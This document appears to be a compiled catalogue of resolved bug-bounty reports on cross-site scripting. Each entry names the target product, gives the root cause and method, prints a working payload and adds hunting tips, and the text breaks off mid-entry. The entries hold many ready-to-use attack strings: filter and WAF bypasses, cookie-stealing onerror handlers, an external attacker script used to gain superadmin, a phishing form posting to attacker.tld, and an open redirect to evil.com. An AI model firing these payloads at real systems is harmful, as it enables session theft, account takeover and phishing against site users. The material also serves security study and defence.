Insight — ResolveUrl is a recurring ASP.NET reflected-XSS sink. When alert()/parentheses are filtered, call functions with a tagged-template literal: print`` executes with no ( ). autofocus+onfocus (seen in #3284389) auto-triggers without user interaction.
Real-world example
Reflected XSS in embedded-device CGI parameter
◆ Medium
Specimen #149287 · ui · awarded · 9 votes · resolved
Program uiSurface web
Root cause
An AirMax device web UI CGI endpoint reflects the iface parameter unsanitized into the HTML response.
Method
- Access the device management CGI endpoint
- Inject attribute-breakout markup in the iface param
http://DEVICE:PORT/survey.cgi?iface="><img src=x onerror=prompt(document.cookie)>
Insight — Embedded/IoT admin consoles (router/AP/camera *.cgi endpoints) are riddled with reflected XSS in status/diagnostic params (iface, ping, host). Enumerate .cgi endpoints and fuzz every parameter; impact is admin-console session/credential theft.
Real-world example
Stored XSS written via GraphQL mutation, rendered on a different consuming domain
◆ Medium
Specimen #1085546 · shopify · 1600 · 8 votes · resolved
Program shopifySurface graphqlChain stored HTML in product description -> rendered unescaped Tag graphql
Root cause
Product description saved as HTML (via productUpdate GraphQL mutation / rich editor) is not sanitized when re-rendered by a separate downstream app on a shared *.shopifycloud.com domain.
Method
- Set a product description to HTML containing an XSS payload (use the editor's < > HTML mode)
- Publish the product to the downstream app (Handshake)
- View the item on the consuming domain; payload fires there
<img src=x onerror=prompt(document.domain)>
Insight — Data sanitized (or trusted) in the app where it is authored may be rendered raw by a DIFFERENT internal/consumer app that shares the same parent domain. Trace where stored fields are re-displayed downstream, especially across *.vendorcloud.com subdomains.
Real-world example
Stored XSS via display name reflected in share/post menu
◆ Medium
Specimen #148848 · slack · 500 · 8 votes · resolved
Program slackSurface web
Root cause
A teammate-controlled display name is rendered unescaped in the post/share menu and in the resulting direct message, so a malicious name becomes stored XSS for other members.
Method
- Set your display name to an XSS payload
- Create a post and share it (as a DM) to a team that has the malicious name present
- Payload executes in the recipient's context
"><img src=x onerror=alert(1)>
Insight — User-controlled identity fields (display name, username, team name) are classic self-propagating stored-XSS vectors because they surface in many UI contexts (menus, mentions, DMs). Also seen at slack-files.com where post title/body executed on the public share-link domain (#2617).
Real-world example
javascript: scheme filter bypass via embedded newline/whitespace
◆ Medium
Specimen #4114 · phabricator · 300 · 8 votes · resolved
Program phabricatorSurface web
Root cause
A link-scheme check that blocks the literal string 'javascript:' is bypassed by inserting a whitespace/newline between 'javascript' and ':'; browsers still parse the href as a javascript: URI.
Method
- Find a link field that stores an href (editor/profile URL)
- Set the value to javascript%0A:alert(1) via curl (browsers strip control chars from inputs, so set it over the API)
- Clicking the rendered link executes JS
javascript%0A:alert(1) (i.e. javascript\n:alert('xss'))
Insight — Scheme allowlists/denylists that match on 'javascript:' are defeated by control chars (newline, tab, form-feed, NULL) inside the scheme, since the HTML parser strips them before URL resolution. Correct fix strips all non-alphanumerics before comparing. Submit via API since browser inputs sanitize the char. Related: profile URL fields accepting javascript:/mailto: with only client-side 'not valid' validation (#4184); Slack profile answer rendered as <a href=javascript:...> (#4561).
Real-world example
Greedy <...>-stripping XSS filter bypass with form-feed control char
◆ Medium
Specimen #44217 · vimeo · awarded · 8 votes · resolved
Program vimeoSurface web
Root cause
A global input filter greedily removes everything between '<' and '>'; a control char (%0c form-feed) in the tag name defeats the regex, letting tags survive into storage. Exploitable wherever the separate output-encoding layer is absent (JS/JSON-with-HTML-headers contexts).
Method
- Inject a tag with a control char after '<' so the greedy strip fails
- Confirm the tag is stored
- Target sinks where HTML output-encoding is NOT applied: value injected into JavaScript, or JSON served with an HTML content-type
<%0cframeset%20src=''> (form-feed between < and tag name)
Insight — A single universal input filter is a false safety net: audit for contexts where output encoding is missing (inline JS, JSON returned as text/html). Control chars (%00,%09,%0a,%0c,%0d) inside tag names routinely break greedy < to > regex filters.
Real-world example
Reflected XSS into data-* attribute + stored title to bypass XSS Auditor
◆ Medium
Specimen #88105 · vimeo · awarded · 8 votes · resolved
Program vimeoSurface web
Root cause
A search results page places the URL/query into a <li> data-start-page attribute unescaped; a video title stored as the query breaks out of the attribute to add onmouseover.
Method
- Retitle a video to a payload that breaks the attribute and adds an event handler
- Encode / as / (raw %2F causes 404 on the search path)
- Load the search URL matching that title; hover the result thumbnail to fire onmouseover
"onmouseover="alert(document.domain)/
Insight — When reflection lands inside an HTML attribute, break out with "eventhandler=. Feeding the payload from a STORED field (video title) rather than the raw URL can bypass the browser's reflected-XSS auditor, since input and output no longer match. Watch for path chars that must be HTML-encoded to avoid routing 404s.
Real-world example
Reflected XSS inside a <script> tag's data attribute; patch regression
◆ Medium
Specimen #176698 · websummit · none · 8 votes · resolved
Program websummitSurface web
Root cause
The q param is reflected into a data-url attribute of a <script class='api-json'> element with only a single quote for delimiting; a quote+iframe breakout escapes the attribute and injects executable markup. This was a regression of a previously 'fixed' bug.
Method
- Inject q with '> to close the single-quoted attribute and the script tag
- Follow with <iframe/onload=... (slash avoids space filters)
- Re-test previously patched XSS -- fixes often regress
q=rubyoob'><iframe/onload=alert(document.domain)></iframe>
Insight — Values reflected into a <script> element's attributes still yield HTML-context XSS once you break the quote. Always re-test old/patched reports for regressions -- reverted or incomplete fixes are common.
Real-world example
javascript: in endpoint/redirect param -> reflected XSS + open redirect
◆ Medium
Specimen #178278 · informatica · none · 8 votes · resolved
Program informaticaSurface webChain open redirect + reflected XSS from one endpoint paramTag open-redirect
Root cause
An endpoint parameter is used to build a navigation target/href without scheme validation, so javascript: yields XSS and http://evil.com yields an open redirect from the same sink.
Method
- Set endpoint=javascript:alert(document.domain) and complete the form -> JS executes
- Set endpoint=http://evil.com -> victim redirected off-site
https://TARGET/partners/apex/Cloud_chat?endpoint=javascript:alert(document.domain)
https://TARGET/partners/apex/Cloud_chat?endpoint=http://evil.com
Insight — Params named endpoint/return/next/url that feed a location or href are double vulnerabilities: test both http(s):// (open redirect) and javascript: (XSS) in the same sink. Salesforce/Apex 'endpoint' style params are common offenders.
Real-world example
Stored XSS via unsanitized object name field
◆ Medium
Specimen #221325 · concretecms · none · 7 votes · resolved
Program concretecmsSurface webTag file-upload
Root cause
The Express Object Entry 'name' parameter is stored and later reflected unencoded in the admin dashboard listing, so HTML/JS in the name executes for anyone viewing the entries page.
Method
- As a logged-in user, add an Express Object with name set to a breakout payload.
- Payload is stored and rendered on /index.php/dashboard/express/entries and /system/express/entities.
- Executes in the browser of any admin viewing the list.
name="><svg/onload=confirm(document.domain)>
Insight — Object/entity name fields in CMS admin panels are frequently rendered back in list views without encoding; always test stored payloads in 'name/title/handle' fields and check every list/detail view that reflects them.
Real-world example
Error-message reflection + content-type toggle (Corda ctredirector.dll)
◆ Medium
Specimen #374057 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface web
Root cause
A file/URL fetch endpoint echoes the failed target URL back into an error page; a second parameter controls whether the page renders as text vs HTML, so an injected payload in the failing URL executes once the page is rendered as HTML.
Method
- Point @_FILE at a non-fetchable URL containing an HTML/JS payload so the app errors and reflects it
- Add @_TEXTDESCRIPTIONEN to force the error page to render as text/html
- Payload executes on load
http://TARGET/scripts/ctredirector.dll//?@_FILEhttp://google.com/<svg/onload=confirm(document.cookie)>>@_TEXTDESCRIPTIONEN
Insight — When a fetch/proxy endpoint reflects the failed URL into an error page, look for a sibling parameter that controls rendering/content-type - forcing HTML rendering turns an inert reflection into XSS.
Real-world example
Reflected XSS in Serendipity multiCat[] param (href context)
◆ Medium
Specimen #374100 · hannob · none · 7 votes · resolved
Program hannobSurface web
Root cause
POST parameter serendipity[multiCat][] is reflected unescaped into the href of the pagination next-page link, allowing tag breakout.
Method
- Send POST to /index.php?frontpage with isMultiCat=Go! and a multiCat[] payload
- Payload is reflected inside the pagination <a href> and breaks out into a <script>
serendipity[isMultiCat]=Go!&serendipity[multiCat][]=1'"()&%<%20><ScRiPt >prompt(1)</ScRiPt>
Insight — Array-style POST params feeding category/pagination links are reflection sinks; test list/multi-select fields, not just simple string params. Mixed-case <ScRiPt> defeats naive tag blacklists.
Real-world example
JWPlayer player.swf playerready reflected Flash XSS
◆ Medium
Specimen #386340 · chaturbate · awarded · 7 votes · resolved
Program chaturbateSurface web
Root cause
Legacy JWPlayer player.swf takes a playerready FlashVar that is passed to a JS callback, letting an attacker execute arbitrary script in the SWF-hosting origin.
Method
- Locate a hosted jwplayer/player.swf on a CDN/static host
- Append ?playerready=alert(document.domain)
https://STATIC-HOST/jwplayer/player.swf?playerready=alert(document.domain)
Insight — Hunt static/CDN hosts for old *.swf (player.swf, moogaloop, expressInstall). playerready/allowScriptAccess FlashVars are known XSS sinks; the vuln lives on the file's origin regardless of the main app.
Real-world example
Stored XSS escalated to superadmin via same-origin CSRF (defeats HttpOnly)
◆ Medium
Specimen #472391 · weblate · none · 7 votes · resolved
Program weblateSurface webChain stored XSS -> same-origin fetch of admin CSRF token ->Tag account-takeover
Root cause
Project name is reflected unescaped on /engage/<slug>; a 60-char limit is bypassed by injecting a <script src> pointing to an attacker JS file, which then acts within the victim admin's origin.
Method
- Set project name to a short external-script include payload
- Victim admin visits /engage/<slug>; attacker JS runs same-origin
- JS GETs the Django admin user page, scrapes csrfmiddlewaretoken, POSTs to promote attacker to superuser
<script src="http://ATTACKER/payload.js"></script>
Insight — HttpOnly/SameSite cookies do NOT neutralize stored XSS: script running in-origin can read same-origin responses (incl. CSRF tokens) and perform privileged actions. Character limits are bypassed by loading an external script.
Real-world example
postMessage arbitrary-method invocation -> DOM XSS (reveal.js)
◆ Medium
Specimen #691977 · nodejs-ecosystem · none · 7 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
reveal.js message handler accepts messages from any origin and invokes any Reveal[method] with attacker args; addKeyBinding stores an attacker description that showHelp concatenates into innerHTML.
Method
- Frame or window.open the target page that enables config.postMessage
- postMessage a JSON {method:'addKeyBinding'} with an HTML payload in description
- postMessage {method:'toggleHelp'} to render showHelp and execute the payload
frame.postMessage('{"method":"addKeyBinding","args":[{"keyCode":666,"key":"Pwned","description":"<img src=x onerror=alert(document.domain)>"}]}','*');
frame.postMessage('{"method":"toggleHelp"}','*');
Insight — Any postMessage handler with no origin check that dispatches event.data.method to app functions is an XSS/RCE primitive - map every reachable method, then find one whose args flow into a DOM sink (innerHTML). Test framed AND window.open delivery.
Real-world example
ASP.NET cookieless session path injection ( (A(...)) ) reflected XSS
◆ Medium
Specimen #923864 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface web
Root cause
ASP.NET cookieless-session apps reflect the (A(...)) / (S(...)) path segment into the page (canonical links, form actions); injecting an attribute breakout into that segment yields reflected XSS.
Method
- On an .aspx app, insert a (A(payload)) segment before the page in the path
- Payload breaks out of a reflected attribute using onerror/onload
https://TARGET/(A("onerror='alert`1`'testabcd))/Login.aspx?ReturnUrl=%2f
Insight — On ASP.NET, test the cookieless session token path segment (S()/A()/F()) as an injection point - it is reflected into href/action attributes site-wide and is often missed by parameter-only WAFs.
Real-world example
Reflection into inline-JS string -> quote breakout
◆ Medium
Specimen #1062380 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface web
Root cause
Search term is reflected inside an inline <script> as a single-quoted JS string value (internalPath = '...'); closing the quote and statement injects arbitrary JS with no tag needed.
Method
- Find a value reflected inside inline <script> (view-source, search the payload as a JS string)
- Break out with ';PAYLOAD;'
/search/node/';alert('chron0x');'
Insight — When your input lands inside an inline JS string you don't need < >; a single/double quote + ; is enough. Always view-source to see whether reflection is in HTML vs JS-string vs attribute context before choosing a payload.
Real-world example
Revive Adserver campaign-zone-zones.php reflected XSS (CVE-2021-22888)
◆ Medium
Specimen #1097979 · revive_adserver · none · 7 votes · resolved
Program revive_adserverSurface web
Root cause
Admin page /admin/campaign-zone-zones.php reflects the status parameter unescaped inside an attribute, allowing quote breakout and img/onerror.
Method
- Authenticated admin request to campaign-zone-zones.php with a crafted status value
- Attribute breakout executes
/admin/campaign-zone-zones.php?_=&clientid=1&campaignid=1&status=available"><img src=1 onerror=alert(document.domain)>&text=
Insight — Open-source admin panels (Revive/OpenX) leak reflected params into attributes across many .php endpoints; grep the source for echo of $_GET into HTML attributes to find variants quickly.
Real-world example
WAF bypass by aliasing alert (a=alert;a(1))
◆ Medium
Specimen #1184644 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface web
Root cause
Reflected XSS in a JS/callback context where the WAF blocks common vectors; assigning alert to a variable and invoking it avoids the literal alert( signature.
Method
- Confirm reflection into a JS/function-call context
- Break out and call alert indirectly to dodge the WAF
-20a")});a=alert;a(1);//
Insight — When a WAF blocks alert(/confirm(, break the token: a=alert;a(1), window['al'+'ert'](1), or (alert)(1). Trailing // comments out the rest of the original JS line.
Real-world example
Cisco ASA WebVPN SAMLResponse reflected XSS (/+CSCOE+/saml/sp/acs)
◆ Medium
Specimen #1252282 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webTag saml
Root cause
Cisco ASA SSL VPN portal reflects the SAMLResponse form field into the error page unescaped at /+CSCOE+/saml/sp/acs (CVE-2020-3580 class).
Method
- Identify a Cisco ASA WebVPN (login at /+CSCOE+/logon.html)
- POST to /+CSCOE+/saml/sp/acs?tgname=a with an XSS payload in SAMLResponse
POST /+CSCOE+/saml/sp/acs?tgname=a
Content-Type: application/x-www-form-urlencoded
SAMLResponse="><svg/onload=alert('0xElkot')>
Insight — Fingerprint appliances (Cisco ASA, FortiGate, Palo Alto) by their fixed paths and hit the known CVE reflected-XSS endpoints - /+CSCOE+/saml/sp/acs SAMLResponse is a canonical Cisco ASA sink.
Real-world example
Open Akamai ARL abuse to reach reflected-XSS on arbitrary origin
◆ Medium
Specimen #1317024 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain open ARL proxy -> route to reflected-XSS endpoint -> X
Root cause
An Akamai edge host with an open ARL (Akamai Resource Locator) lets you prepend /7/0/33/1d/<any-domain>/ to proxy arbitrary origins through the trusted host; routing to a reflected-XSS search endpoint executes on the Akamai host.
Method
- Detect an open ARL host (see war-and-code/akamai-arl-hack, goarl)
- Build /<digits>/<any-origin>/<path-with-XSS> through the ARL host
http://AKAMAI-HOST/7/0/33/1d/www.citysearch.com/search?what=Binit&where=Binit"><img src=binit onerror=alert(document.domain)>
Insight — Open Akamai ARL is both an SSRF-like proxy and an XSS amplifier: any reflected XSS on a proxied origin now executes on the trusted Akamai domain. Enumerate ARL structure with goarl when you see Akamai edge hosts in scope.
Real-world example
Attribute-context XSS via event handler (onpointermove) in img src
◆ Medium
Specimen #1392733 · 8x8-bounty · none · 7 votes · resolved
Program 8x8-bountySurface web
Root cause
oem param is reflected inside an <img src="..."> attribute; a double-quote closes src and injects an event-handler attribute, which fires on interaction.
Method
- Reflect the param inside the img src attribute
- Close the quote and add an interaction event handler + junk class to keep markup valid
/CM/login.php?oem="onpointermove=prompt(1) class=ss11
Insight — When reflection lands mid-attribute and load-time handlers are filtered, use interaction handlers (onpointermove/onmouseover/onfocus+autofocus). A trailing class= or valid attribute keeps the tag parseable so the browser honors the injected handler.
Real-world example
Filter-blocked '=' bypassed by URL-encoding (%3d) in attribute payload
◆ Medium
Specimen #1536215 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface web
Root cause
Reflected XSS where < > pass but literal = is filtered; encoding = as %3d inside the event-handler assignment lets img/onerror execute. HttpOnly is absent so document.cookie is exfiltratable.
Method
- Confirm < > reflect but = is stripped
- Encode = as %3d inside the onerror assignment
<img src%3dx onerror%3dalert(document.cookie)>
Insight — A filter that only strips the literal = character is defeated by %3d (or HTML-entity =) since the browser decodes it after the filter runs. Test single-character blacklists with their encoded equivalents.
Real-world example
rails-html-sanitizer bypass: select+style+script mutation (class-configured allowlist)
◆ Medium
Specimen #1654310 · rails · none · 7 votes · resolved
Program railsSurface web
Root cause
The CVE-2022-32209 fix stripped the dangerous style+select tag combo only when tags were passed to sanitize(tags:...), not when allowed tags were set on the sanitizer class (config.action_view.sanitized_allowed_tags), leaving that config path exploitable (CVE-2022-23520).
Method
- App allows select+style in the class-level sanitized_allowed_tags config
- Submit the nested payload through a sanitized field
<select><style><script>alert("XSS")</script></style></select>
Insight — HTML-sanitizer allowlists are parser-mutation-sensitive: select+style causes HTML4 parsers to reinterpret nested content so <script> survives. Test BOTH ways an allowlist is configured (per-call vs global class attr) - incomplete fixes often patch one path only.
Real-world example
ServiceNow logout open-redirect -> javascript: XSS (CVE-2022-38463)
◆ Medium
Specimen #1681178 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain open redirect param -> javascript: scheme -> reflectedTag open-redirect
Root cause
ServiceNow logout_redirect.do reflects sysparm_url into a redirect/link; a javascript: URL obfuscated with //j\\ bypasses the scheme filter and executes unauthenticated.
Method
- Fingerprint ServiceNow (logout_redirect.do)
- Set sysparm_url to an obfuscated javascript: URI
/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)
Insight — Redirect params (url=, next=, sysparm_url=, returnUrl=) that feed an href or location are javascript:-scheme XSS sinks; try scheme obfuscation (//j\\javascript:, java\tscript:, whitespace/control chars) to slip past naive scheme allowlists. Same primitive as bare ?url=javascript: (#1071524).
Real-world example
DWR endpoint DOM XSS with Akamai WAF bypass
◆ Medium
Specimen #2750977 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface web
Root cause
A DWR (Direct Web Remoting) call reflects the c0-id POST parameter into the DOM; the payload is crafted to bypass Akamai using string-split property access, optional chaining, /**/ comments and AutoFocus/OnFocus rather than blocked keywords.
Method
- Auto-submit a POST form to the DWR endpoint with a malicious c0-id and getHelpText method
- Payload uses an anchor with AutoFocus OnFocus to auto-fire without user interaction
c0-id='<input>'"><A HRef=\" AutoFocus OnFocus=top/**/?.['ale'+'rt'](document+cookie)>
Insight — Against Akamai/WAFs: split blocked identifiers ('ale'+'rt'), use optional chaining (?.), insert /**/ comments, and use AutoFocus+OnFocus for interaction-free firing. DWR (dwr/call/... , c0-*, callCount, methodName) endpoints are an underlooked reflection surface on Java apps.
Real-world example
ASP.NET Control.ResolveUrl app-root path injection reflected XSS
◆ Medium
Specimen #3166581 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface web
Root cause
ASP.NET apps using Control.ResolveUrl to resolve app-root-relative (~/) paths reflect an attacker-controlled path segment into markup unescaped; injecting an event handler in that segment yields reflected XSS.
Method
- On an .aspx page, inject a (Z('...')) style path segment before the page
- Payload uses onload with print`` to dodge WAF/filters
https://TARGET/(Z('ontestingb3t2h onload=print`` fnwve='zzzzz`8504695818`'))/news.aspx
Insight — ResolveUrl-based path reflection is the sibling of cookieless-session path XSS on ASP.NET (#923864) - the injection is in a path segment, so parameter-focused WAFs miss it. print`` (tagged template) replaces alert() to bypass alert-signature filters.
Real-world example
FortiGate SSL VPN getconfig.esp user param reflected XSS
◆ Medium
Specimen #3205104 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface web
Root cause
Fortinet FortiGate SSL VPN web portal reflects the user parameter of /ssl-vpn/getconfig.esp unescaped, allowing an SVG/script payload.
Method
- Fingerprint a FortiGate SSL VPN portal
- Request /ssl-vpn/getconfig.esp with the user param set to an SVG script payload
/ssl-vpn/getconfig.esp?...&user=<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("XSS")</script></svg>&domain=(empty_domain)&computer=computer
Insight — VPN/appliance login portals (FortiGate, Cisco ASA, Palo Alto) reflect config/login params into HTML; fixed endpoints like /ssl-vpn/getconfig.esp are worth testing on every appliance in scope - trust and sensitivity make them high-value.
Real-world example
DotNetNuke reflected XSS via hidCurrentTabIndex form field
◆ Medium
Specimen #499041 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
A DNN (DotNetNuke) module reflects the hidCurrentTabIndex POST field into a JS context without filtering, allowing script injection by breaking out of a single-quoted string.
Method
- Locate a DNN page posting the ViewTabs control fields.
- Set dnn$ctr####$ViewTabs$hidCurrentTabIndex to a JS-breakout payload.
- Submit (multipart form with valid __VIEWSTATE/__EVENTVALIDATION) -> payload reflected and executed.
dnn$ctr5099$ViewTabs$hidCurrentTabIndex = 11111111'; prompt(1); a='
Insight — On ASP.NET/DotNetNuke targets, hidden state fields (hidCurrentTabIndex, tab/index params) are frequent reflected-XSS sinks. Fingerprint DNN (dnn_ cookies, dnnVariable) and fuzz its numeric hidden fields with quote-breakout payloads; you must replay valid __VIEWSTATE/__EVENTVALIDATION.
Real-world example
Unauthenticated stored HTML injection delivered to admin panel (contact form)
◆ Medium
Specimen #768327 · concretecms · none · 6 votes · resolved
Program concretecmsSurface web
Root cause
The public Contact Us form stores the message body without sanitizing HTML and later renders it unescaped in the authenticated admin 'messages' view, so an unauthenticated attacker plants HTML/phishing markup that executes in the admin's browser context.
Method
- Submit the public Contact Us form with an HTML payload in the message field
- Admin opens 'Waiting for me' / message list and views the contact
- The injected phishing form and image render inside the admin panel; interaction redirects the admin to an attacker site or submits credentials
<html><body><div style="text-align:center;"><form method="POST" action="http://attacker.tld/">Username:<br><input name="User"><br>Password:<br><input name="Password" type="password"><br><input name="Valid" value="Ok !" type="submit"></form></div></body></html>
<input"/onmouseover="confirm(3333);//"onload=onload><img src="https://x/y.jpg" width=1000 height=750 alt="onmouseover=prompt(1);//">
Insight — Unauthenticated 'contact/feedback/support' forms are stored-injection vectors whose sink is the privileged admin/agent console. Even pure HTML injection (no JS) enables in-panel phishing and clickable redirects; test whether the admin renderer escapes stored user input.
Real-world example
Stored XSS in project field propagating into share/embed and third-party plugin
◆ Medium
Specimen #283821 · infogram · none · 6 votes · resolved
Program infogramSurface web
Root cause
A user-controlled project/report field (title, template text, custom share link, sample data) is stored unsanitized and then reflected into multiple downstream surfaces - the report view, the auto-generated share/embed snippet, and the vendor's WordPress plugin popup - so one injection fires across many contexts.
Method
- Set the project title / template / share-link field to an XSS payload
- Open each surface that echoes it: report view, the 'Share' embed code, the WP 'Add from Infogram' popup
- Observe execution and note the value even lands in copy-paste embed code shipped to other sites
project title: <script>alert(1);</script>
template/field: "><img src=x onerror=prompt(0);>
share custom link: "><svg/onload=confirm(document.domain)>
Insight — Trace a stored value to EVERY place it is later rendered - list views, generated embed/share snippets, notification emails, and companion plugins. A single unsanitized field often becomes XSS on several surfaces and can be exported into third-party integrations, widening blast radius beyond the origin app.
Real-world example
Attribute-context reflected XSS chained with authorization bypass
◆ Medium
Specimen #648348 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface webChain Authorization bypass (#648222) -> reach authenticated-onlTag account-takeover
Root cause
A GET parameter is reflected inside an HTML attribute value; a single quote closes the attribute and an event handler (onmouseover) is injected. The vulnerable page is authenticated-only, but is reachable via a separate authorization-bypass bug.
Method
- Reflect a param into an attribute; break out with a single quote
- Add an event handler that needs light interaction (onmouseover on a nearby element)
- If the page is access-restricted, chain the authz-bypass to reach it as an unauthorized attacker
https://TARGET/personnel.php?content=training&folder=FA_CERT&item=FA05.01.01&rcnum='%20onmouseover=alert('jarvis7')%20'
Insight — When breakout of tags is filtered, attribute-context injection with event handlers still works. And an internal-only XSS becomes externally exploitable when paired with a broken-access-control bug - always re-test 'self/authenticated-only' findings after finding an authz bypass on the same app.
Real-world example
Second-order HTML injection/XSS via notification email (base-href hijack)
◆ Medium
Specimen #819899 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface webChain Stored HTML in chat -> unsanitized notification email froTag spoofing-phishing
Root cause
A chat/message body is stored unsanitized and then embedded, still unfiltered, into a notification email sent from the org's official mail server; the HTML renders in the victim's email client. A <base href> tag rewrites the relative links in that email to an attacker domain.
Method
- Send a message containing HTML to another user
- The app emails a 'new message' notification that includes the unsanitized content from an official server
- Inject <base href=//attacker> so legitimate-looking relative links in the email resolve to the attacker's host at the same path
<base href=//un4.gi>
Insight — Notification emails are a second-order sink: content sanitized (or not) for the web view is often re-emitted into email without filtering, and it arrives from a trusted domain. <base href> is a low-noise gadget - it rewrites every relative URL in the message to the attacker, so prepare a matching path (e.g. .../sysparm_channelID=<id>) to serve malicious content under a trusted-looking link.
Real-world example
Confluence createpage.action reflected XSS (parentPageString/labelsString)
◆ Medium
Specimen #866576 · lab45 · none · 6 votes · resolved
Program lab45Surface web
Root cause
Atlassian Confluence's createpage.action reflects the parentPageString and labelsString parameters into the page without encoding, a known product-specific reflected-XSS pattern.
Method
- Identify a Confluence wiki (/wiki/pages/createpage.action)
- Inject into parentPageString and labelsString
- Confirm execution
https://TARGET/wiki/pages/createpage.action?spaceKey=tcwiki&parentPageString=x"><img src=X onerror=alert(document.cookie)>&labelsString="><img src=X onerror=alert(document.domain)>
Insight — Keep a fingerprint list of product-specific XSS endpoints. Confluence's createpage.action (parentPageString/labelsString) is a reliable reflected-XSS target on self-hosted/legacy instances; recognizing the software gives you the parameter names for free.
Real-world example
Reflected XSS by breaking out of a JS string inside an inline <script>
◆ Medium
Specimen #1059395 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
A GET parameter is reflected unescaped as the value of a JavaScript variable inside an inline <script> block; closing the string and statement lets the attacker inject arbitrary JS that runs at parse time.
Method
- Identify a param whose value lands inside an inline <script> (e.g. var x = 'PARAM';)
- Break out of the string/function with ';} then add your own call
- Re-open a dummy function and comment out the trailing original code with //
?param=';}alert("chron0x"); function clickit(){//
Insight — When a value is reflected inside inline script rather than HTML, don't inject tags; close the JS string/statement and inject raw JS, then neutralize trailing code with // or /*. Grep responses for your canary inside <script> to spot this context.
Real-world example
javascript: URI XSS via embedded newline to bypass scheme filter
◆ Medium
Specimen #1196989 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
User input is placed into an href attribute; a filter that blocks the literal string 'javascript:' is defeated by inserting a newline/CR inside the scheme, which browsers ignore when parsing the URI.
Method
- Find a sink that reflects input into an href/src
- Inject an <a> with a javascript: URI carrying a linebreak inside the keyword
- Lure a click on the injected element
href="j%0A%0Davascript:confirm(1)" /><h1>CLICK ME</h1>
Insight — When javascript: is blacklisted, split the scheme with %0A/%0D/%09 or use HTML-entity encoding (javascript:) inside href; browsers strip control chars before scheme resolution. Requires a user click.
Real-world example
Stored XSS from API serving user content as text/html inline (CVE-2021-32733)
◆ Medium
Specimen #1241460 · nextcloud · none · 6 votes · resolved
Program nextcloudSurface apiTag file-upload
Root cause
ApiService#fetch returned attacker-controlled content with Content-Type text/html and Content-Disposition: inline, so a stored document rendered as HTML in the victim's browser instead of being downloaded.
Method
- Locate an API/file-fetch endpoint that echoes stored user content
- Check the response Content-Type and Content-Disposition headers
- Store HTML/JS content and open the fetch endpoint directly
Response headers to look for: Content-Type: text/html; Content-Disposition: inline (fix = force application/octet-stream + attachment + nosniff)
Insight — Content-serving endpoints are XSS sinks when they don't force a safe Content-Type + Content-Disposition: attachment + X-Content-Type-Options: nosniff. Audit any /fetch, /download, /raw, /export endpoint's headers.
Real-world example
Reflected XSS via autofocus event handler + eval(atob(base64)) obfuscation
◆ Medium
Specimen #1244731 · mtn_group · none · 6 votes · resolved
Program mtn_groupSurface web
Root cause
Parameters reflected into an HTML tag without encoding <"/'> let the attacker break the attribute and inject a new element whose onfocus fires automatically via autofocus, with the JS payload hidden as a base64 blob.
Method
- Break out of the current attribute/tag with '">
- Inject an <input> with autofocus and an onfocus handler (auto-triggers, no click)
- Wrap the real payload in eval(atob('...')) to dodge keyword filters
'><input onfocus=eval(atob('YWxlcnQoJ1hTUycp')) autofocus>
Insight — autofocus+onfocus (also onanimationstart, oninput) gives zero-click execution when script tags are stripped. eval(atob()) hides alert/cookie strings from signature-based WAFs. Try on any reflected attribute context.
Real-world example
WAF tag-strip bypass by splitting an event-handler name with an inner tag
◆ Medium
Specimen #1251868 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
The WAF removes recognized HTML tags from input but does so before re-serialization; inserting a throwaway <br> inside the handler name means the filter deletes the <br> and rejoins the surrounding text into a valid onfocus handler.
Method
- Confirm the filter strips <tags> from input
- Split a blocked keyword by embedding a benign tag inside it (o<br>nfocus)
- After stripping, the pieces rejoin into onfocus; add autofocus for auto-trigger
input%22 o%3Cbr%3Enfocus=confirm(1337) autofocus tabindex=1 xss
Insight — When a filter deletes tags in place rather than rejecting the request, break the forbidden token with a dummy tag/comment (o<br>nfocus, java<x>script:) so removal reconstructs the payload. Classic 'sanitizer runs once' bug.
Real-world example
Reflected XSS via double URL-encoding to defeat a decode-once filter
◆ Medium
Specimen #1305472 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
Input is URL-decoded twice (once by the server, once by the app/framework) but only filtered after the first decode, so a double-encoded payload passes the filter and is decoded back to live markup before output.
Method
- Send the payload single-encoded first; if blocked, double-encode the metacharacters
- %253C decodes to %3C then to < after the second pass
?param=%253Cimg/src/onerror=alert(document.domain)%253E (decodes to <img/src/onerror=alert(document.domain)>)
Insight — If a straight <img onerror> is filtered, try double (or mixed) URL-encoding; a payload that reflects decoded means the app decodes more times than it filters. Space-free syntax <img/src/onerror> also dodges naive regexes.
Real-world example
Stored XSS across many sibling form fields (fuzz-every-parameter)
◆ Medium
Specimen #1666002 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
A multi-field form stored and re-rendered every field value without output encoding, so numerous parameters (q_13787, q_21671, q_21655, q_21677, ...) were independently stored-XSS-able via the same attribute-breakout payload.
Method
- Submit a canary in every field of a large form
- Re-render the record and see which fields reflect unescaped
- Use an attribute-breakout svg/onload payload in each vulnerable field
%22%27%3e%3csvg%2fonload%3dconfirm(666)%3e ("'><svg/onload=confirm(666)>)
Insight — When one field of a form is XSS-able, the whole form usually shares the same unescaped rendering path - fuzz ALL parameters, not just the obvious one. Each is a separate finding.
Real-world example
ServiceNow reflected XSS in logout redirect (CVE-2022-38463)
◆ Medium
Specimen #1681208 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
